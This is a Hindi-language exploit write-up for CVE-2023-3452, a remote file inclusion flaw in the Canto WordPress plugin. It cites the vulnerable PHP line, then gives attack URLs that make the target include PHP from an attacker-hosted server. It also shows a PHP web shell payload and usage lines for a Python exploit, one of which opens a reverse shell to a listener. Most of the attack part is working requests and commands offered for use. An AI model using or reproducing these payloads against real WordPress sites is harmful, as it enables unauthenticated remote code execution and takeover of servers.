
वर्डप्रेस प्लगइन Canto < 3.0.5 - दूरस्थ फ़ाइल समावेशन (RFI) और दूरस्थ कोड निष्पादन (RCE)
यहाँ हम कैंटो वर्डप्रेस प्लगइन की नवीनतम RFI (दूरस्थ फ़ाइल समावेशन) भेद्यता का PoC समझाते हैं, और हमने कमांड के निष्पादन को स्वचालित करने के लिए एक एक्सप्लॉइट विकसित किया है।
"वर्डप्रेस के लिए कैंटो प्लगइन 'wp_abspath' पैरामीटर के माध्यम से संस्करण 3.0.4 तक (और इसमें शामिल) दूरस्थ फ़ाइल समावेशन के लिए असुरक्षित है। यह अप्रमाणित हमलावरों को सर्वर पर मनमाना दूरस्थ कोड शामिल करने और निष्पादित करने की अनुमति देता है, बशर्ते कि allow_url_include सक्षम हो। स्थानीय फ़ाइल समावेशन भी संभव है, हालांकि कम उपयोगी क्योंकि इसके लिए हमलावर को FTP या किसी अन्य माध्यम से एक दुर्भावनापूर्ण php फ़ाइल को वेब सर्वर द्वारा पढ़ने योग्य निर्देशिका में अपलोड करने में सक्षम होना आवश्यक है।" (https://nvd.nist.gov/vuln/detail/CVE-2023-3452)
यह एक्सप्लॉइट wp_abspath पैरामीटर में एक बग का शोषण करता है जैसा कि कोड की निम्नलिखित पंक्ति में देखा जा सकता है includes/lib/download.php:
...
require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php');
...
इस भेद्यता का शोषण करने के लिए यह भी आवश्यक है कि php कॉन्फ़िगरेशन में allow_url_include=On पैरामीटर सक्षम हो।
इस पैरामीटर के साथ हमारे वेब सर्वर की ओर इशारा करते हुए अनुरोध करना संभव है जिससे php कोड की व्याख्या की जाएगी। उदाहरण के लिए यदि हम निम्नलिखित अनुरोध करते हैं, तो हम जांच सकते हैं कि हमें हमारे सर्वर पर अनुरोध प्राप्त होता है:
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080

हम देखते हैं कि सर्वर /wp-admin/admin.php फ़ाइल को कॉल करता है, इसलिए यदि हम निर्देशिका बनाते हैं और अपना दुर्भावनापूर्ण php कोड admin.php फ़ाइल में जोड़ते हैं, तो असुरक्षित सर्वर इसे डाउनलोड करता है और सही ढंग से निष्पादित करता है।
उदाहरण के लिए यदि हम अपनी admin.php फ़ाइल में एक php वेब-शेल <?php system($_GET['cmd']); ?> लिखते हैं तो हम दूरस्थ रूप से कोड निष्पादित कर सकते हैं।
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080&cmd=whoami

यह सब पायथन एक्सप्लॉइट में स्वचालित किया गया है: CVE-2023-3452.py
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id'

python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -NC_PORT 3333 -s php-reverse-shell.php
